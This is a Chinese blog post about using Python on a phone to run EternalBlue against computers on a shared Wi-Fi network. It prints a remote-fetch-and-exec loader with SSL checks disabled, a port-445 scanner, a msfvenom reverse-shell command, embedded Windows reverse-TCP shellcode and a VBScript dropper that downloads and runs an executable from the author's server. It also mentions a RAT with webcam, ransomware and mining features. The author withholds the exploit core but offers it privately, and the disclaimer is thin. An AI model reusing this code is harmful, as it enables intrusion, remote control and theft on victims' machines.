有趣的python

【手机玩python】看我如何用手机攻陷你的电脑!你真的会玩你的

2019-03-28  本文已影响352人  陈德君

[TOC]

你真的会玩你的智能手机吗?

每天拿着手机只会刷个微博、刷个朋友圈、P张图?智能手机是否有更大的用途呢?
今天就来看一下我是如何用手机攻陷你电脑的!

一句话说清是怎么做的

先来说说是怎么做到的吧!四个字:永恒之蓝
还是不够明白,请继续往下看!

原理讲解

介绍下具体是怎么个攻击法吧!不感兴趣的可以直接跳到效果展示

第一步:对内网进行端口扫描,记录所有开放了445端口的主机;
第二步:获取手机IP,生成shellcode,使得攻击成功之后,我的手机能控制电脑;
第三步:对所有开放了445端口的主机执行永恒之蓝攻击;
第四步:攻击成功之后,通过手机控制电脑,下载并执行服务器上的“善”意代码;

本次攻击用的程序是用python实现的。
不过话虽简单,但是要在手机上把整个脚本代码跑起来,可不是那么简单的,手机上的python环境,是不能安装任何依赖库的(至少我没找到哪个python运行软件可以轻易安装依赖库)。
只要能克服这个难题,再把永恒之蓝整合进来,就一切好办了!后面会介绍怎么解决这个问题。

效果展示

先来看看攻击是什么样的效果吧!

操作

准备条件

要完成这个过程,需要准备些什么呢?

PS. iphone上推荐装这个python3环境(因为不要钱啊):


image

厚脸皮的把我的微信二维码也贴出来了,头像是我女票给我做的(大家有问题欢迎和我交流):


image

实际操作

  1. 请装好python3执行环境;
  2. 手机连上wifi,不可以是移动网络,否则没法进行扫描(如果你真的闲的蛋疼想攻击全网的话,也可以,那你用移动网络好了);
  3. 复制攻击脚本,因为里面有永恒之蓝的攻击过程,攻击脚本还是请加我微信(e4ting)拿吧。万一大家不小心拿到自己公司网络下执行,导致同事/老板蓝屏就不好了!

脚本载体

整个过程只需要下面这段代码,这段代码其实只是一个空壳子,我把它叫做脚本载体,它唯一的逻辑就是从https://www.xxx.com/上下载xxxx.py文件到本地,并执行。

很显然下面这段代码是不能执行的,因为没有正确的域名和路径!

import zlib,base64,marshal,urllib.request,json,ssl;ssl._create_default_https_context = ssl._create_unverified_context;exec(eval("urllib.request.urlopen('https://www.xxx.com/xxxx.py').read()"))

其实真正的逻辑在https://www.xxx.com/xxxx.py里面。大家拿到脚本之后,可以研究具体细节辑,我这里简单介绍下,我的实现思路。

step.1 网络扫描

直接建tcp套接字connect445端口,三次握手成功了,就关闭连接。

def port_scanner(host, port):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(1)
        s.connect((host, port))
        log('\t[+] 扫描到 : {}:{}'.format(host, port))
        globals()["targets"].append(host)
        s.close()
    except KeyboardInterrupt:
        return False
    except:
        pass

当然,这一步有个前提,就是要先获取本机IP以及,wifi所处的网络范围。

def get_local_ip(host="8.8.8.8"):
    '''
        获取本机的IP
    '''
    log(get_local_ip.__doc__.strip())
    return [(s.connect((host, 445)), s.getsockname()[0], s.close()) for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1]
def get_network(host="192.168.0.1", netmask=24):
    '''
        获取待扫描的网络范围,(暂时定死支持24位掩码)
    '''
    log(get_network.__doc__.strip())
    networks = "{addr}/{netmask}".format(addr=host, netmask=netmask)
    return IPy.IP(networks, make_net=True)
    num = 8
    ts = [batch_port_scaner(globals()["networks"][_::num], 445) for _ in range(0, num)]

以下是batch_port_scaner的实现,用修饰器封装了一下。

@threadd
def batch_port_scaner(hosts, port, **kwargs):
    [port_scanner(str(_), 445) for _ in hosts]

step.2 生成shellcode

实际shellcode是通过metasploit生成的:

msfvenom -p windows/x64/shell_reverse_tcp   LHOST=x.x.x.x LPORT=xxx -f raw > shellcode

可是我们没有条件在手机上运行metasploit(想想都觉得没必要吧),但是我们可以把shellcode内置在脚本里,然后获取本机IP替换掉就好了,用下面这个函数来实现。

def get_shellcode(hostip, lhost, lport):
    log("正在生成 shell code...")
    lhost = lhost if lhost else globals()["localhost"]
    shell_code_127_0_0_1_8080 = b'FC4883E4F0E8C0000000415141505251564831D265488B5260488B5218488B5220488B7250480FB74A4A4D31C94831C0AC3C617C022C2041C1C90D4101C1E2ED524151488B52208B423C4801D08B80880000004885C074674801D0508B4818448B40204901D0E35648FFC9418B34884801D64D31C94831C0AC41C1C90D4101C138E075F14C034C24084539D175D858448B40244901D066418B0C48448B401C4901D0418B04884801D0415841585E595A41584159415A4883EC204152FFE05841595A488B12E957FFFFFF5D49BE7773325F3332000041564989E64881ECA00100004989E549BC0200{port}{host}41544989E44C89F141BA4C772607FFD54C89EA68010100005941BA29806B00FFD550504D31C94D31C048FFC04889C248FFC04889C141BAEA0FDFE0FFD54889C76A1041584C89E24889F941BA99A57461FFD54881C44002000049B8636D640000000000415041504889E25757574D31C06A0D594150E2FC66C74424540101488D442418C600684889E6565041504150415049FFC0415049FFC84D89C14C89C141BA79CC3F86FFD54831D248FFCA8B0E41BA08871D60FFD5BBF0B5A25641BAA695BD9DFFD54883C4283C067C0A80FBE07505BB4713726F6A00594189DAFFD5'
    ip = socket.gethostbyname(lhost)
    _host = socket.ntohl(socket.ntohl(struct.unpack("I",socket.inet_aton(str(ip)))[0])).to_bytes(4,'little')
    shell_code_127_0_0_1_8080 = shell_code_127_0_0_1_8080.replace(b'{host}', binascii.hexlify(_host))

    _port = socket.ntohs(lport).to_bytes(2,'little')
    shell_code_127_0_0_1_8080 = shell_code_127_0_0_1_8080.replace(b'{port}', binascii.hexlify(_port))

    log("shell code 将反弹到 {}:{} ".format(lhost, lport))
    return binascii.unhexlify(shell_code_127_0_0_1_8080)

其实这里可以看出用shell_reverse_tcp(TCP反弹cmd)不是什么明智之举,应该直接让shellcode下载一个EXE文件并执行,这样效率更高,且更可靠。
但以我这个门外汉技术水平,实在无法驾驭metasploit 和其强大的 shellcode。只能用这种退而求其次的做法。
如果要替换shellcode,这里要注意字节大小端(little-endian/big-endian)的问题,Windows用的是little-endian

step.3 执行永恒之蓝攻击

接下来就进入最重要的环节了,开始永恒之蓝攻击

    log("扫描完成,开始对以下主机实施永恒之蓝\n\t{}".format(globals()["targets"]))
    win_init()
    [ win_run(host=_) for  _ in globals()["targets"] ]

永恒之蓝的详细过程就不把代码贴上来了,实在太长了,而且太过复杂,大家加了我微信拿到代码之后,自己去看代码吧。也是因为这部分代码攻击性太强,前面才打那么多码的。

PS. 就我个人而言,我是觉得这部分攻击代码晦涩难懂,只能看明白其中涉及的python逻辑。对于这种代码,我只有一个评价:能用起来就行了,如果不是专业的攻防人员,没必要深究。同时让我们一起说一句:感谢NSA!

step.4 通过手机给电脑种上后门

这一步其实是取决于第二步的攻击时候用的shellcode。因为我们用的是shell_reverse_tcp,所以攻击成功之后,手机会收到电脑反弹过来的cmd命令行,此时手机已经控制了电脑。但仅能做命令行操作。
这时我们通过反弹cmd,往电脑写入一个vbscript脚本,并执行这个脚本,这个脚本执行之后,会取得SYSTEM权限,这已经是Windows的最高权限了,这个权限和Administrator已经不是一个级别了(这么描述没问题吧)。
下面是控制电脑的过程:

exploits = """@echo off
(echo Download Wscript.Arguments^(0^),Wscript.Arguments^(1^)
echo Sub Download^(Url,target^)
echo Const adTypeBinary = 1
echo Const adSaveCreateOverWrite = 2
echo Dim http,ado
echo Set http = CreateObject^("Msxml2.ServerXMLHTTP"^)
echo http.open "GET",Url,False
echo http.send
echo Set ado = createobject^("Adodb.Stream"^)
echo ado.Type = adTypeBinary
echo ado.Open
echo ado.Write http.responseBody
echo ado.SaveToFile target
echo ado.Close
echo Set ws = CreateObject^("wscript.shell"^)
echo ws.Run target,0,True
echo End Sub)>cleanup.vbs
cleanup.vbs "{}" "{}"
"""

@threadd
def push_script(connection, address, **kwargs):
    global exploits
    exploits = exploits.format("https://www.e4ting.top/files/test.exe",
                                "c:\\test.exe")
    data = connection.recv(1024)
    log("已收到靶机 {} 反弹的cmd,开始部署脚本...".format(str(address)))
    # log((address, data))
    for cmd_line in exploits.split("\n"):
        log(cmd_line, level="debug")
        connection.send(cmd_line.encode("utf-8"))
        connection.send("\n".encode("utf-8"))
        log (connection.recv(4096), level="debug")
    log("部署完成,靶机已受控,可以开始进行控制了")

threadd是我自定义的一个修饰器,用来把push_script扔到线程中去跑。

控制电脑

push_script的逻辑可以看出,脚本最终是把https://www.e4ting.top/files/test.exe文件下载并执行了。这一步纯粹只是为了更好的控制电脑,其实之前手机已经控制过电脑一次了。https://www.e4ting.top/files/test.exe也是一个python脚本,是基于byob开发的。因为byob提供了tcp反弹cmd截屏摄像头监控文件加密勒索挖矿等实用的功能,所以整体来说,控制电脑还是比纯cmd命令行要强。且支持扩展插件开发。

远程加载python依赖库

前面已经说过,在手机上是没法安装依赖库的。没有依赖库,python势必将失去应有的色彩。既然不能安装,只有凭借代码解决!
本脚本中用到了两种远程导入依赖库的方式。

第一种方式是:直接下载执行,并修改globals()以达到导入的目的。
如下为从https://www.e4ting.top/files目录下引入util.py文件。

def imports(mod="util"):
    ssl._create_default_https_context = ssl._create_unverified_context
    exec(eval("urllib.request.urlopen('https://www.e4ting.top/files/{}.py').read()".format(mod)), globals())

imports("util")

这种方式实现起来非常简单,它唯一的优点就是简单,不过缺点也非常明显:

第二种方式:增加一个sys.meta_path类,并自定义find_moduleload_module,当脚本企图import一个本地环境不存在的库时,直接到远程服务器上搜索,并下载下来执行,修改globals()以达到导入的目的。
如下,为将Loader实例插入到sys.meta_path头部。

def add_remote_repo(modules, base_url='http://localhost:8000/'):
    importer = Loader(modules, base_url)
    sys.meta_path.insert(0, importer)
    return importer

Loader的实现实在太长了,不贴了,全贴上来,估计诸位得看哭,请自行去这里下载观看吧:https://www.e4ting.top/files/util.py
这个方式复杂了点,但却解决了两个最重要的问题:

注意:python的globals()可是个大坑,不能和C语言相提并论,所以别指望不同的文件能共享globals()
简单的来说,就是这种代码最好放到一个文件里。

免责申明

本文只讨论技术,虽然我很愿意共享代码,但我仅建议大家学习用,不要用作违法途径,凡是用本人的代码造成任何损失、或者法律纠纷的,我一概不负责。

上一篇下一篇

猜你喜欢

热点阅读